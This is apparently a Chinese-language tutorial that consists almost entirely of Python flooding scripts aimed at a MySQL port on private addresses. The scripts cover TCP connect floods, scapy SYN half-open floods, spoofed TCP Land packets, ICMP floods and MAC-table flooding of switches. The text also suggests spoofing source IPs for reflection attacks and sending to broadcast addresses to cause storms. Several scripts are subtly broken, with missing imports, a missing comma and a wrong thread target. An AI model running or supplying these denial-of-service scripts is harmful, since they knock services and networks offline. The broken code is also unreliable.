基本原理
基于协议进行通信,完成大流量高并发操作,导致目标主机各类资源消耗过多无法提供正常服务,基于多线程和多进程
使用socket三次握手泛洪
这里的目标是mysql服务
import socket,random,time,os
import threading
def socket_flood():
while True:
s = socket.socket() #实例化
s.connect(('192.168.0.195',3306)) #建立和数据库的连接
if __name__ == '__main__':
for i in range(500):
threading.Thread(target=socket_flood).start() #开启多线程
使用scapy半连接泛洪
通过半连接泛洪,使被攻击主机的被攻击端口处于SYN_RECV状态
import threading
#使用scapy半连接泛洪
from scapy.layers.inet import IP, TCP
from scapy.sendrecv import send
def scapy_flood():
while True:
sport = random.randint(10000,30000) #需要生成一个随机端口
pkg = IP(dst='192.168.112.188')/TCP(sport=sport,dport=3306,flags='S')
send(pkg,verbose=False)
if __name__ == '__main__':
for i in range(500):
threading.Thread(target=scapy_flood).start()
使用TCP_Land泛洪
from scapy.layers.inet import IP, TCP
from scapy.sendrecv import send
#TCP Land:使源IP和目的IP一致
def scapy_flood():
while True:
sport = random.randint(10000,30000) #需要生成一个随机端口
pkg = IP(src='192.168.112.188'dst='192.168.112.188')/TCP(sport=sport,dport=3306,flags='S')
send(pkg,verbose=False)
if __name__ == '__main__':
for i in range(500):
threading.Thread(target=scapy_flood).start()
这里可以将源IP改为另外一个真实存在的IP,实现反射性攻击
通过ICMP进行泛洪
from scapy.layers.inet import IP, TCP
from scapy.sendrecv import send
#ICMP泛洪
def icmp_flood():
while True:
payload = 'helloworld' *50
pkg = IP(dst='192.168.0.195')/ICMP()/payload
send(pkg,verbose=False)
if __name__ == '__main__':
for i in range(500):
threading.Thread(target=scapy_flood).start()
这里也可以将IP地址改为255,实现广播风暴
MAC地址泛洪
mac地址泛洪主要是针对交换机的,不停地填充交换机的MAC表,知道填满为止
#mac地址泛洪
import random
import threading
from scapy.layers.l2 import Ether
from scapy.sendrecv import sendp
from scapy.volatile import RandMAC
def mac_flood():
while True:
#生成随机mac
randmac=RandMAC("*:*:*:*:*:*")
#生成随机IP
srandip=f'{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}'
drandip = f'{random.randint(1, 254)}.{random.randint(1, 254)}.{random.randint(1, 254)}.{random.randint(1, 254)}'
#构造数据链路层的数据包
packet=Ether(src=randmac,dst=randmac)/IP(src=srandip,dst=drandip)
sendp(packet,iface="使用的网卡名字",loop=0) #sendp专门用于发送二层的数据包
if __name__ == '__main__':
for i in range(500):
threading.Thread(target=mac_flood).start()